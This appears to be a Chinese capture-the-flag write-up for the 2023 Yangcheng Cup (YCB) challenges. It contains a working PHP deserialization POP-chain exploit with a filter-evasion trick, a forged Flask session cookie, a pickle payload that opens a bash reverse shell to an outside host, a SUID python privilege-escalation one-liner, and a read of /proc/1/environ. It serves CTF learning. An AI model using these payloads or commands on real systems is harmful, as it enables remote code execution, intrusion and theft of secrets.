羊城杯2023 部分wp

目录

D0n't pl4y g4m3!!!(php7.4.21源码泄露&pop链构造)

Serpent(pickle反序列化&python提权)

ArkNights(环境变量泄露)

Ez_misc(win10sinpping_tools恢复)


D0n't pl4y g4m3!!!(php7.4.21源码泄露&pop链构造)

访问/p0p.php 跳转到了游戏界面

应该是存在302跳转 burp抓包 提示 /hint.zip

下载下来得到一段密文:

Ö0 0vO Ow0 0w0 Ö0 ÖO Ö.O o_o 0.O OvO o.0 owo o.Ö Ö.Ö Ovo 0Ö Öo owO O.0 owo Öo owO O.0 owo Ö0 0wÖ O.0 0w0 Ö0 OwO ov0 owo o_O O.Ö Övo

尊嘟假嘟翻译器解密得到:flag在/tmp/catcatf1ag.txt

PHP<=7.4.21

存在Development Server源码泄露漏洞

得到 p0p.php的源码:

 <?phpheader("HTTP/1.1 302 found");header("Location:https://www.baidu.com");​class Pro{private $exp;private $rce2;​public function __get($name){return $this->$rce2=$this->exp[$rce2];}public  function __toString(){call_user_func('system', "cat /flag");}}​class Yang{public function __call($name, $ary){if ($this->key === true || $this->finish1->name) {if ($this->finish->finish) {call_user_func($this->now[$name], $ary[0]);}}}public function ycb(){$this->now = 0;return $this->finish->finish;}public function __wakeup(){$this->key = True;}}class Cheng{private $finish;public $name;public function __get($value){​return $this->$value = $this->name[$value];}}class Bei{public function __destruct(){if ($this->CTF->ycb()) {$this->fine->YCB1($this->rce, $this->rce1);}}public function __wakeup(){$this->key = false;}}​function prohib($a){$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";return preg_replace($filter,'',$a);}​$a = $_POST["CTF"];if (isset($a)){unserialize(prohib($a));}?># ./有hint.zip

简单php反序列化,构造pop链

 <?php​class Pro{private $exp;private $rce2 = "haha";​public function __get($name){echo "__get()";var_dump($this->$rce2=$this->exp[$rce2]);return $this->$rce2=$this->exp[$rce2];}public  function __toString(){call_user_func('system', "cat /flag");}}​class Yang{public function __call($name, $ary){echo " Yang::__call()  ";​if ($this->key === true || $this->finish1->name) {if ($this->finish->finish) {echo " call_user_func()";#echo $name,$ary[0];call_user_func($this->now[$name], $ary[0]);}}}public function ycb(){echo " Yang::ycb()  ";$this->now = 0;return $this->finish->finish; # 给 $this->finish 赋 Cheng类 调其私有属性触发 __get()}public function __wakeup(){$this->key = True;}}class Cheng{private $finish;public $name;public function __get($value){echo " Cheng::__get() ";return $this->$value = $this->name[$value]; #}}class Bei{public function __destruct(){if ($this->CTF->ycb()) {  # 给$this->CTF 赋 Yang()类 调其 ycb()$this->fine->YCB1($this->rce, $this->rce1); # 给$this->fine 赋 Yang 不存在YCB1() 调其 __call()}}public function __wakeup(){$this->key = false;}}​function prohib($a){$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";return preg_replace($filter,'',$a);}​$a = new Bei();$a->CTF = new Yang();$a->CTF->finish = new Cheng();$a->CTF->finish->name = ["finish"=>"aaa"];​$a->fine = new Yang();​$a->fine->finish = new Cheng();$a->fine->finish->name = ["finish"=>"aaa"];$a->fine->finish1 = new Cheng();$a->fine->finish1->name = 1;​$a->fine->now['YCB1'] = "syssystemtem";$a->rce = "cat /tmp/catcatf1ag.txt > a";​$b = serialize($a);echo urlencode($b);?>

由于存在一个过滤

 function prohib($a){$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";return preg_replace($filter,'',$a);}

但是过滤只是将关键字替换为空,可以双写绕过

因此将生成的序列化数据,修改 末尾 s%3A12%3A%22syssystemtem%22%3B%7D%7Ds%3A3%3A%22rce%22%3Bs%3A27%3A%22cat+%2Ftmp%2Fcatcatf1ag.txt+%3E+a%22%3B%7D 的 12替换为 6 这样过滤之后也可以正常反序列化

外带 flag内容到 a 访问/a 得到flag

Serpent(pickle反序列化&python提权)

访问/www.zip得到部分代码

 from flask import Flask, sessionfrom secret import secret​@app.route('/verification')def verification():try:attribute = session.get('Attribute')if not isinstance(attribute, dict):raise Exceptionexcept Exception:return 'Hacker!!!'if attribute.get('name') == 'admin':if attribute.get('admin') == 1:return secretelse:return "Don't play tricks on me"else:return "You are a perfect stranger to me"​if __name__ == '__main__':app.run('0.0.0.0', port=80)​

访问 /verification路由 cookie放到 jwt.io 里

得到 SECRET_KEY:GWHTHKpOjDIQ2b

flask 伪造session

 {"Attribute": {"admin": 1,"name": "admin","secret_key": "GWHTHKpOjDIQ2b"}}# python3 flask_session_cookie_manager3.py encode -s "GWHTHKpOjDIQ2b" -t '{"Attribute": {"admin": 1,"name": "admin","secret_key": "GWHTHKpOjDIQ2b"}}'eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjEsIm5hbWUiOiJhZG1pbiIsInNlY3JldF9rZXkiOiJHV0hUSEtwT2pESVEyYiJ9fQ.ZPLH7A.VLZkgFun7fWka435Q3Xrrxb_hWE

然后访问 得到secret

得到 /ppppppppppick1e路由

burp发包,在响应包得到:Hint: Source in /src0de 得到源码:

 @app.route('c0de')def src0de():f = open(__file__, 'r')rsp = f.read()f.close()return rsp[rsp.index("@app.route('/src0de')"):]​@app.route('ppppppppick1e')def ppppppppppick1e():try:username = "admin"rsp = make_response("Hello, %s " % username)rsp.headers['hint'] = "Source in c0de"pick1e = request.cookies.get('pick1e')if pick1e is not None:pick1e = base64.b64decode(pick1e)else:return rspif check(pick1e):pick1e = pickle.loads(pick1e)return "Go for it!!!"else:return "No Way!!!"except Exception as e:error_message = str(e)return error_message​return rsp​class GWHT():def __init__(self):pass​if __name__ == '__main__':app.run('0.0.0.0', port=80)

在/ppppppppick1e 路由会对session的pick1e值 进行pickle.load() 存在pickle反序列化,但是有一个未知的check() 需要绕过·

 import base64​#payload=b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("")o.'payload = b'''(cossystemS'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'o.'''​# env | tee /tmp/aprint(base64.b64encode(payload))

可以o操作码绕过,system执行命令 刚开始可能是构造payload出错了,报错信息中还以为过滤了>

反弹不了shell 就一直想着怎么构造回显 将命令执行结构写入文件 查看写入的文件时,又一直显示 Permission Denied 。。。。

最后发现并没有过滤 > bash弹到shell之后,发现没有权限,需要提取 怪不得permission denied

查找具有suid权限的命令,找到了 /usr/bin/python3.8

可以python 进行提权

python3 -c "import os;os.setuid(0);os.system('/bin/bash');"

这里直接 python3 /flag

根据报错信息得到了flag

ArkNights(环境变量泄露)

非预期:

读取 /proc/1/environ 获得flag

Ez_misc(win10sinpping_tools恢复)

下载附件,得到一个图片 下面应该有东西

脚本恢复一下宽、高

宽:0x164

高:0x61

假的flag

010打开图片发现 IEND fivenumbers 字样 可能是win的自带截图

脚本恢复一下

得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/98103.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue使用jsencrypt实现rsa前端加密

实现 RSA 加密 介绍 vue 完成 rsa 加密传输&#xff0c;jsencrypt 实现参数的前端加密 1 安装 jsencrypt npm install jsencrypt2 编写 jsencrypt.js 在 utils 文件夹中新建 jsencrypt.js 文件&#xff0c;内容如下&#xff1a;注意点&#xff1a;一般公钥都是后端生成好的&a…

爬虫逆向实战(二十八)--某税网第一步登录

一、数据接口分析 主页地址&#xff1a;某税网 1、抓包 通过抓包可以发现登录接口是factorAccountLogin 2、判断是否有加密参数 请求参数是否加密&#xff1f; 通过查看载荷模块可以发现有一个datagram 和 一个signature加密参数 请求头是否加密&#xff1f; 通过查看“标…

Apinto 网关 V0.14 版本发布,6 大插件更新!

大家好&#xff01; 距离上次更新已经过去一段时间了&#xff0c;这段日子里我们一直在酝酿新的功能&#xff0c;本次的迭代将给大家带来 6 大插件的更新~一起来看看有哪些变化吧&#xff01; 新特性 1. 新增 额外参数v2 插件&#xff0c;支持对转发参数进行加密、拼接等操作…

串行协议——USB驱动[基础]

多年前的学习记录&#xff0c;整理整理。 一、USB协议基础 二、Linux内核USB驱动源码分析 USB中不同类型设备使用的 设备描述符(设备类\设备子类\设备协议) 配置不同,典型的以下几种:1)HID设备: Human Input Device人工输入设备, 如鼠标\键盘\游戏手柄等.2)CDC设备: Communi…

02-系统篇-内存分布

一.进程中的内存分布 进程是应用程序运行的单位&#xff0c;进程在内存中运行时&#xff0c;各个部分分布的情况如图。 1.栈内存(statck) 特点:后进先出 系统一般会对栈的大小进行限制&#xff0c;可以用命令进行查看&#xff0c;如下&#xff0c;700是进程号&#xff0c;栈被…

CentOS7上源码安装Redis6

CentOS7上源码安装Redis6 安装依赖开始安装下载安装包解压安装包编译源代码修改配置文件 启动并连接启动redis服务器本地连接远程连接 下篇预告 安装依赖 首先我们是源码包安装我们需要安装C语言编译器&#xff0c;顺便下载wget&#xff1a; yum install -y gcc wget开始安装…

Git 基本原理和常用操作

Git Git 是一个开源的分布式版本控制系统&#xff0c;可以有效、高速地处理从很小到非常大的项目版本管理。由 Linus Torvalds 为了帮助管理 Linux 内核开发而开发的一个开源的版本控制软件。 Git 常用操作 git 提交流程&#xff1a;工作区 -> git add 到暂存区 -> gi…

静态路由——实现两个不相连的网段通信实验

路漫漫其修远兮&#xff0c;吾将上下而求索 今天做一个简单的实现两个不相连的网段通信实验&#xff0c;本实验使用静态路由配置&#xff0c;主要 加强初学者对静态路由的理解。 实际中不可能只使用静态路由&#xff0c;还要使用诸多的其他网络协议&#xff0c;达到安全可靠的…

Gin学习记录3——模版与渲染

模版与渲染 一. 返回二. 模版2.1 基础模版2.2 同名模版2.3 模版继承2.4 模版语法 一. 返回 如果只是想返回数据&#xff0c;可以使用以下函数&#xff1a; func (c *Context) JSON(code int, obj any) func (c *Context) JSONP(code int, obj any) func (c *Context) String(…

SpringBoot集成WebSocket

SpringBoot集成WebSocket 项目结构图 项目架构图 前端项目 socket.js 注意前端这里的端口是9000, 路劲是ws开头 function createScoket(token){var socket;if(typeof(WebSocket) "undefined") {console.log("您的浏览器不支持WebSocket");}else{var ho…

在Ubuntu上安装CUDA和cuDNN以及验证安装步骤

在Ubuntu上安装CUDA和cuDNN以及验证安装步骤 本教程详细介绍了如何在Ubuntu操作系统上安装CUDA&#xff08;NVIDIA的并行计算平台&#xff09;和cuDNN&#xff08;深度神经网络库&#xff09;&#xff0c;以及如何验证安装是否成功。通过按照这些步骤操作&#xff0c;您将能够…